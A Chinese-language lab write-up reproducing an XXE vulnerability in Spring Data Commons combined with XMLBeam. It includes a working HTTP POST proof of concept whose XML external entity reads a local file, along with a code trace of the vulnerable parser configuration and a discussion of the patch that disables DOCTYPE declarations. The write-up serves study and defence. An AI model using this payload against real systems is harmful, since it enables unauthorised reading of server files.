XXE with Spring Data’s XMLBeam integration
Spring Data XXE 攻击
危害等级:高
漏洞描述:
XMLBeans 提供了底层XML数据的对象视图,同时还能访问原始的XML信息集合。 Spring Data Commons 1.13至1.13.11以及2.0至2.0.6的版本在与XMLBeam1.4.14或更早的版本进行结合使用时,XMLBeam不会限制XML外部实体应用,导致未经身份验证的远程恶意用户可以针对Spring Data的请求绑定特定的参数,访问系统上的任意文件。
https://github.com/spring-projects/spring-data-examples/
https://github.com/spring-projects/spring-data-examples/tree/master/web/projection
web\projection
,输入mvn clean package
生成package这里需要把idea下面的maven路径写到环境变量path中
\IntelliJ IDEA\plugins\maven\lib\maven3\bin
java -jar spring-data-web-projection-2.0.0.BUILD-SNAPSHOT.jar
使用burp抓包,POST过去poc查看输出
```
POST / HTTP/1.1
Host: localhost:8080
Content-Length: 204
Cache-Control: max-age=0
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Referer: http://localhost:8080/users
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///e://1.txt" >]>
<user> <firstname>&xxe;</firstname> <lastname>melody</lastname> </user>
## 遇到的问题
1. 把文件夹导入idea之后,mvn package发现poc攻击不成功,感觉是不能输入xml的头部,报错提示:
```bash
Caused by: org.xml.sax.SAXParseException; lineNumber: 2; columnNumber: 10; 将功能 "http://apache.org/xml/features/disallow-doctype-decl" 设置为“真”时, 不允许使用 DOCTYPE。
这个是相关包的版本问题,这里的漏洞复现需要Spring Data Commons 1.13至1.13.11以及2.0至2.0.6的版本在与XMLBeam1.4.14或更早的版本进行结合使用
,这里idea默认加载的时候,spring-data-commons
的版本是2.0.7,所以需要进行一点修改。
在窗口左边的保留2.0.6版本的进行调试风味更佳External Libraries
下面右键,选择Open Library Settings
,找到Maven: org.springframework.data:spring-data-commons:2.0.2.RELEASE2
把它旁边的 2.0.7/2.0.8/2.10.0 什么的全部删掉,只保留2.0.2的版本,然后重新生成包。
在这里也可以看出高版本中防御xxe的方法:
禁用xml中的inline DOCTYPE 声明,说白了就是禁用DTD,不允许将外部实体包含在传入的 XML 文档中,从而防止XML实体注入(XML External Entities 攻击,利用能够在处理时动态构建文档的 XML 功能,注入外部实体)。
为了避免XXE injections,应为XML代理、解析器或读取器设置下面的属性:
factory.setFeature("http://xml.org/sax/features/external-general-entities",false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
如果根本不需要 inline DOCTYPE 声明,可直接使用以下属性将其完全禁用:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
PS:这边使用的是2.0.2版本的commons不是2.0.6版本(因为我的maven search还没更新好=。=b)
首先是spring-data-commons配合xmlbeam的洞,进入commons的代码,找到和xml有关的这个文件:org\springframework\data\web\XmlBeamHttpMessageConverter.java
关注调用XmlBeam的函数XBProject
,line23:
public class XmlBeamHttpMessageConverter extends AbstractHttpMessageConverter<Object> {
private final XBProjector projectionFactory = new XBProjector(new Flags[0]);
private final Map<Class<?>, Boolean> supportedTypesCache = new ConcurrentReferenceHashMap();
进入XBProject
,/org/xmlbeam/XBProjector.java:169
public XBProjector(XBProjector.Flags... optionalFlags) {
this(new DefaultXMLFactoriesConfig(), optionalFlags);
}
可以看到这里使用的是默认的配置,接下来会使用这个projectionFactory来读取输入流中的xml里面的信息,代码走到org\springframework\data\web\XmlBeamHttpMessageConverter.java:47
:
protected Object readInternal(Class<? extends Object> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {
return this.projectionFactory.io().stream(inputMessage.getBody()).read(clazz);
}
跟进read函数,org/xmlbeam/io/StreamInput.java:31
@Scope(DocScope.IO)
public <T> T read(Class<T> projectionInterface) throws IOException {
Document document = this.readDocument();
return this.projector.projectDOMNode(document, projectionInterface);
}
跟进readDocument函数,org/xmlbeam/io/StreamInput.java:37
private Document readDocument() throws IOException {
try {
DocumentBuilder documentBuilder = this.projector.config().createDocumentBuilder();
Document document = this.systemID == null ? documentBuilder.parse(this.is) : documentBuilder.parse(this.is, this.systemID);
return document;
} catch (SAXException var3) {
throw new RuntimeException(var3);
}
}
这里!终于!看到了createDocumentBuilder!
接下来跟进org/xmlbeam/config/DefaultXMLFactoriesConfig.java
中的这两个函数,这两个函数就是构造DOM解析器的工厂实例,然后DOM 工厂获得 DOM 解析器的位置,在这里因为没有设置工厂的一些安全属性,即禁止外部实体的引用,导致输入中的inline DOCTYPE的使用被采纳,外部实体被导入,导致xxe漏洞的发生。xmlbeam最新版本的补丁也是在这里patch的。
public DocumentBuilder createDocumentBuilder() {
try {
DocumentBuilder documentBuilder = this.createDocumentBuilderFactory().newDocumentBuilder();
return documentBuilder;
} catch (ParserConfigurationException var2) {
throw new RuntimeException(var2);
}
}
public DocumentBuilderFactory createDocumentBuilderFactory() {
DocumentBuilderFactory instance = DocumentBuilderFactory.newInstance();
if (!DefaultXMLFactoriesConfig.NamespacePhilosophy.AGNOSTIC.equals(this.namespacePhilosophy)) {
instance.setNamespaceAware(DefaultXMLFactoriesConfig.NamespacePhilosophy.HEDONISTIC.equals(this.namespacePhilosophy));
}
return instance;
}
图片展示的是我们写入的并被程序读到的document的内容。
src/main/java/org/springframework/data/web/XmlBeamHttpMessageConverter.java
这边在传入XMLBeam的XBProjector时候做了新的配置:
可以看出关键的两句,给DOM 工厂设置参数,阻止了外部实体的引入,禁用inline DOCTYPE声明,防止了XML实体注入。
补丁地址:
https://github.com/SvenEwald/xmlbeam/commit/f8e943f44961c14cf1316deb56280f7878702ee1
补丁在src/main/java/org/xmlbeam/config/DefaultXMLFactoriesConfig.java
中添加了一个数组,里面是一些安全配置,然后通过循环,在createDocumentBuilderFactory()
函数中,循环进行安全设置,其中前两条就是上面spring-data-commons使用的两条,具体见下面:
+ private static final String[] FEATURE_DEFAULTS = new String[] { "http://apache.org/xml/features/disallow-doctype-decl#true", //
+ "http://xml.org/sax/features/external-general-entities#false", //
+ "http://xml.org/sax/features/external-parameter-entities#false", //
+ "http://apache.org/xml/features/nonvalidating/load-external-dtd#false" };
发现两个补丁里面都有写xxe的test ^_^
src/test/java/org/springframework/data/web/XmlBeamHttpMessageConverterUnitTests.java
就像直接给poc一样23333
漏洞的问题是,xml默认配置允许外部实体等可能导致xxe的非法输入,禁止外部实体和inline DOCTYPE的那两句设置两边(data-commons和xmlbeam)都没有加,如果调用的是xmlBeam1.4.15之前的版本自己加上配置也行,或者1.4.15之后xmlBeam都默认加了。
https://blog.csdn.net/qq_32331073/article/details/79941132
影响版本:
解决方案: